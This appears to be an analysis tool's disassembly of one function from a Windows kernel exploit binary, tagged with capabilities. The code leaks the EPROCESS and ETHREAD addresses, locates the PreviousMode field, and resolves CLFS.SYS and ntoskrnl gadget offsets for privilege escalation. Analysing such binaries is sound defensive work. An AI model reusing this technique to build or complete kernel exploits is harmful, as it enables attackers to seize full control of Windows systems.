Function at 0x140005c80
Capabilities:
Link many functions at runtime
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [0x140073228]
mov rcx, qword [rsp + 0x50]
mov r8, rcx
mov rcx, qword [rsp + 0x58]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rcx, qword [0x140073228]
call fcn.140005a30
mov qword [0x140053460], rax
mov rdx, qword [0x140053460]
lea rcx, str.___MY_EPROCESSS__p_n
call fcn.14000e0e0
mov ecx, 4
call fcn.140005a30
mov qword [0x140073208], rax
mov rdx, qword [0x140073208]
lea rcx, str.___SYSTEM_EPROCESSS__p_n
call fcn.14000e0e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [0x140073230]
mov rcx, qword [rsp + 0x60]
mov r8, rcx
mov rcx, qword [rsp + 0x68]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rcx, qword [0x140073230]
call fcn.140005a30
mov qword [0x140053468], rax
mov rdx, qword [0x140053468]
lea rcx, str.____ETHREAD_ADDRESS__p_n
call fcn.14000e0e0
mov rax, qword [0x140053468]
add rax, 0x232
mov qword [0x140053470], rax
mov rdx, qword [0x140053470]
lea rcx, str.___PREVIOUS_MODE_ADDRESS__p_n
call fcn.14000e0e0
call fcn.1400054c0
mov r8d, 1
xor edx, edx
lea rcx, str.C:WindowsSystem32driversCLFS.SYS
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140005e1c
lea rdx, str.ClfsEarlierLsn
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140053510], rax
lea rdx, str.ClfsMgmtDeregisterManagedClient
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140053518], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [0x140053510]
sub rcx, rax
mov rax, rcx
mov qword [0x1400534d8], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [0x140053518]
sub rcx, rax
mov rax, rcx
mov qword [0x1400534e0], rax
mov rdx, qword [0x1400534d8]
lea rcx, str.___Offset_ClfsEarlierLsn______________________________p_n
call fcn.14000e0e0
mov rdx, qword [0x1400534e0]
lea rcx, str.___Offset_ClfsMgmtDeregisterManagedClient______________________________p_n
call fcn.14000e0e0
mov rax, qword [0x1400534d8]
mov rcx, qword [0x140053540]
add rcx, rax
mov rax, rcx
mov qword [0x1400534e8], rax
mov rax, qword [0x1400534e0]
mov rcx, qword [0x140053540]
add rcx, rax
mov rax, rcx
mov qword [0x1400534f0], rax
mov rdx, qword [0x1400534e8]
lea rcx, str.___Kernel_ClfsEarlierLsn______________________________p_n
call fcn.14000e0e0
mov rdx, qword [0x1400534f0]
lea rcx, str.___Kernel_ClfsMgmtDeregisterManagedClient______________________________p_n
call fcn.14000e0e0
mov r8d, 1
xor edx, edx
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140005f3d
lea rdx, str.RtlClearBit
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140053520], rax
lea rdx, str.PoFxProcessorNotification
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140053530], rax
lea rdx, str.SeSetAccessStateGenericMapping
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140053528], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [0x140053520]
sub rcx, rax
mov rax, rcx
mov qword [0x1400534a0], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [0x140053530]
sub rcx, rax
mov rax, rcx
mov qword [0x1400534a8], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [0x140053528]
sub rcx, rax
mov rax, rcx
mov qword [0x1400534b0], rax
mov rdx, qword [0x1400534a0]
lea rcx, str.___Offset_RtlClearBit______________________________p_n
call fcn.14000e0e0
mov rdx, qword [0x1400534a8]
lea rcx, str.___Offset_PoFxProcessorNotification______________________________p_n
call fcn.14000e0e0
mov rdx, qword [0x1400534b0]
lea rcx, str.___Offset_SeSetAccessStateGenericMapping______________________________p_n
call fcn.14000e0e0
mov rax, qword [0x1400534a0]
mov rcx, qword [0x140053538]
add rcx, rax
mov rax, rcx
mov qword [0x1400534f8], rax
mov rax, qword [0x1400534b0]
mov rcx, qword [0x140053538]
add rcx, rax
mov rax, rcx
mov qword [0x1400534c8], rax
mov rax, qword [0x1400534a8]
mov rcx, qword [0x140053538]
add rcx, rax
mov rax, rcx
mov qword [0x1400534d0], rax
mov rdx, qword [0x1400534f8]
lea rcx, str.___Kernel_RtlClearBit______________________________p_n
call fcn.14000e0e0
mov rdx, qword [0x1400534c8]
lea rcx, str.___Kernel_SeSetAccessStateGenericMapping______________________________p_n_n
call fcn.14000e0e0
mov rdx, qword [0x1400534d0]
lea rcx, str.___Kernel_PoFxProcessorNotification______________________________p_n_n
call fcn.14000e0e0
add rsp, 0x78
ret